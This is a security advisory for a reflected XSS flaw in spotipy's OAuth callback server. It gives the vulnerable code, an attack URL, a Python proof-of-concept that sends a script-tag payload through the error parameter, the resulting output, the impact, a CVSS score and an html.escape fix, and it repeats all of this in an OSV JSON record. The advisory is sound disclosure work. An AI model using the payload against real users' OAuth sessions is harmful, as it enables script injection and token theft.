PYSEC-2026-1937
Vulnerability from pysec - Published: 2026-07-07 16:03 - Updated: 2026-07-07 17:25Summary
XSS vulnerability in OAuth callback server allows JavaScript injection through unsanitized error parameter. Attackers can execute arbitrary JavaScript in the user's browser during OAuth authentication.
Details
Vulnerable Code: spotipy/oauth2.py lines 1238-1274 (RequestHandler.do_GET)
The Problem:
During OAuth flow, spotipy starts a local HTTP server to receive callbacks. The server reflects the error URL parameter directly into HTML without sanitization.
Vulnerable code at line 1255:
status = f"failed ({self.server.error})"
Then embedded in HTML at line 1265:
self._write(f"""<html>
<body>
<h1>Authentication status: {status}</h1>
</body>
</html>""")
The error parameter comes from URL parsing (lines 388-393) without HTML escaping, allowing script injection.
Attack Flow:
1. User starts OAuth authentication → local server runs on http://127.0.0.1:8080
2. Attacker crafts malicious URL: http://127.0.0.1:8080/?error=<script>alert(1)</script>&state=x
3. User visits URL → JavaScript executes in localhost origin
PoC
Simple Python Test:
#!/usr/bin/env python3
# poc_xss.py - Demonstrates XSS in spotipy OAuth callback
import requests
from spotipy.oauth2 import start_local_http_server
import threading
import time
# Start vulnerable server in background
def start_server():
server = start_local_http_server(8080)
server.handle_request()
thread = threading.Thread(target=start_server, daemon=True)
thread.start()
time.sleep(2)
# Send XSS payload
payload = '<script>alert("XSS")</script>'
url = f'http://127.0.0.1:8080/?error={payload}&state=test'
response = requests.get(url)
print(f"Status: {response.status_code}")
print(f"\nHTML Response:\n{response.text}")
# Check if vulnerable
if payload in response.text:
print(f"\n[!] VULNERABLE: Payload '{payload}' reflected without escaping!")
else:
print("\n[+] Safe: Payload was sanitized")
Run it:
pip install spotipy requests
python3 poc_xss.py
Output shows:
Status: 200
HTML Response:
<html>
<body>
<h1>Authentication status: failed (<script>alert("XSS")</script>)</h1>
</body>
</html>
[!] VULNERABLE: Payload '<script>alert("XSS")</script>' reflected without escaping!
The Proof:
- Expected (safe): <script>alert("XSS")</script>
- Actual (vulnerable): <script>alert("XSS")</script>
- The script tags are NOT escaped → XSS confirmed
Impact
Vulnerability Type: Cross-Site Scripting (XSS) - CWE-79
Affected Users: Anyone using spotipy's OAuth flow with localhost redirect URIs
Attack Complexity: Medium-High - Requires timing (during brief OAuth window) - Localhost-only (127.0.0.1) - Requires user interaction (click malicious link)
Potential Impact: - Execute JavaScript in localhost origin - Access other localhost services (port scanning, API calls) - Steal data from local web applications - Extract OAuth tokens from browser storage - Bypass CSRF protections on localhost endpoints
CVSS 3.1 Score: 4.2 (Medium) - Attack Vector: Local - Attack Complexity: High - Privileges Required: None - User Interaction: Required - Scope: Unchanged - Confidentiality/Integrity: Low
Recommended Fix:
import html
# Line 1255 - apply HTML escaping
if self.server.error:
status = f"failed ({html.escape(str(self.server.error))})"
| Name | purl | spotipy | pkg:pypi/spotipy |
|---|
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "spotipy",
"purl": "pkg:pypi/spotipy"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.25.2"
}
],
"type": "ECOSYSTEM"
}
],
"versions": [
"0.1",
"0.2",
"2.0.1",
"2.0.2",
"2.1.0",
"2.10.0",
"2.11.0",
"2.11.1",
"2.11.2",
"2.12.0",
"2.13.0",
"2.14.0",
"2.15.0",
"2.16.0",
"2.16.1",
"2.17.0",
"2.17.1",
"2.18.0",
"2.19.0",
"2.19.0rc1",
"2.2.0",
"2.20.0",
"2.21.0",
"2.22.0",
"2.22.1",
"2.23.0",
"2.24.0",
"2.25.0",
"2.25.1",
"2.3.0",
"2.3.2",
"2.3.3",
"2.3.4",
"2.3.5",
"2.3.6",
"2.3.7",
"2.3.8",
"2.4.0",
"2.4.1",
"2.4.2",
"2.4.3",
"2.4.4",
"2.5.0",
"2.6.0",
"2.6.1",
"2.6.2",
"2.6.3",
"2.7.0",
"2.7.1",
"2.8.0",
"2.9.0"
]
}
],
"aliases": [
"CVE-2025-66040",
"GHSA-r77h-rpp9-w2xm"
],
"details": "### Summary\nXSS vulnerability in OAuth callback server allows JavaScript injection through unsanitized error parameter. Attackers can execute arbitrary JavaScript in the user\u0027s browser during OAuth authentication.\n\n\n### Details\n**Vulnerable Code:** `spotipy/oauth2.py` lines 1238-1274 (RequestHandler.do_GET)\n\n**The Problem:**\nDuring OAuth flow, spotipy starts a local HTTP server to receive callbacks. The server reflects the `error` URL parameter directly into HTML without sanitization.\n\n**Vulnerable code at line 1255:**\n```python\nstatus = f\"failed ({self.server.error})\"\n```\n\n**Then embedded in HTML at line 1265:**\n```python\nself._write(f\"\"\"\u003chtml\u003e\n\u003cbody\u003e\n\u003ch1\u003eAuthentication status: {status}\u003c/h1\u003e\n\u003c/body\u003e\n\u003c/html\u003e\"\"\")\n```\n\nThe `error` parameter comes from URL parsing (lines 388-393) without HTML escaping, allowing script injection.\n\n**Attack Flow:**\n1. User starts OAuth authentication \u2192 local server runs on `http://127.0.0.1:8080`\n2. Attacker crafts malicious URL: `http://127.0.0.1:8080/?error=\u003cscript\u003ealert(1)\u003c/script\u003e\u0026state=x`\n3. User visits URL \u2192 JavaScript executes in localhost origin\n\n\n### PoC\n\n**Simple Python Test:**\n```python\n#!/usr/bin/env python3\n# poc_xss.py - Demonstrates XSS in spotipy OAuth callback\n\nimport requests\nfrom spotipy.oauth2 import start_local_http_server\nimport threading\nimport time\n\n# Start vulnerable server in background\ndef start_server():\n server = start_local_http_server(8080)\n server.handle_request()\n\nthread = threading.Thread(target=start_server, daemon=True)\nthread.start()\ntime.sleep(2)\n\n# Send XSS payload\npayload = \u0027\u003cscript\u003ealert(\"XSS\")\u003c/script\u003e\u0027\nurl = f\u0027http://127.0.0.1:8080/?error={payload}\u0026state=test\u0027\n\nresponse = requests.get(url)\nprint(f\"Status: {response.status_code}\")\nprint(f\"\\nHTML Response:\\n{response.text}\")\n\n# Check if vulnerable\nif payload in response.text:\n print(f\"\\n[!] VULNERABLE: Payload \u0027{payload}\u0027 reflected without escaping!\")\nelse:\n print(\"\\n[+] Safe: Payload was sanitized\")\n```\n\n**Run it:**\n```bash\npip install spotipy requests\npython3 poc_xss.py\n```\n\n**Output shows:**\n```\nStatus: 200\nHTML Response:\n\u003chtml\u003e\n\u003cbody\u003e\n\u003ch1\u003eAuthentication status: failed (\u003cscript\u003ealert(\"XSS\")\u003c/script\u003e)\u003c/h1\u003e\n\u003c/body\u003e\n\u003c/html\u003e\n\n[!] VULNERABLE: Payload \u0027\u003cscript\u003ealert(\"XSS\")\u003c/script\u003e\u0027 reflected without escaping!\n```\n\n**The Proof:**\n- Expected (safe): `\u0026lt;script\u0026gt;alert(\"XSS\")\u0026lt;/script\u0026gt;`\n- Actual (vulnerable): `\u003cscript\u003ealert(\"XSS\")\u003c/script\u003e`\n- The script tags are NOT escaped \u2192 XSS confirmed\n\n### Impact\n\n**Vulnerability Type:** Cross-Site Scripting (XSS) - CWE-79\n\n**Affected Users:** Anyone using spotipy\u0027s OAuth flow with localhost redirect URIs\n\n**Attack Complexity:** Medium-High\n- Requires timing (during brief OAuth window)\n- Localhost-only (127.0.0.1)\n- Requires user interaction (click malicious link)\n\n**Potential Impact:**\n- Execute JavaScript in localhost origin\n- Access other localhost services (port scanning, API calls)\n- Steal data from local web applications\n- Extract OAuth tokens from browser storage\n- Bypass CSRF protections on localhost endpoints\n\n**CVSS 3.1 Score:** 4.2 (Medium)\n- Attack Vector: Local\n- Attack Complexity: High\n- Privileges Required: None\n- User Interaction: Required\n- Scope: Unchanged\n- Confidentiality/Integrity: Low\n\n\n**Recommended Fix:**\n```python\nimport html\n\n# Line 1255 - apply HTML escaping\nif self.server.error:\n status = f\"failed ({html.escape(str(self.server.error))})\"\n```",
"id": "PYSEC-2026-1937",
"modified": "2026-07-07T17:25:25.455228Z",
"published": "2026-07-07T16:03:11.611342Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/spotipy-dev/spotipy/security/advisories/GHSA-r77h-rpp9-w2xm"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-66040"
},
{
"type": "WEB",
"url": "https://github.com/spotipy-dev/spotipy/commit/880b92d7243dcf2b83bf31dc365a858d8b5e6767"
},
{
"type": "PACKAGE",
"url": "https://github.com/spotipy-dev/spotipy"
},
{
"type": "PACKAGE",
"url": "https://pypi.org/project/spotipy"
},
{
"type": "ADVISORY",
"url": "https://github.com/advisories/GHSA-r77h-rpp9-w2xm"
}
],
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:H/PR:N/UI:R/S:U/C:L/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "Spotipy has a XSS vulnerability in its OAuth callback server"
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.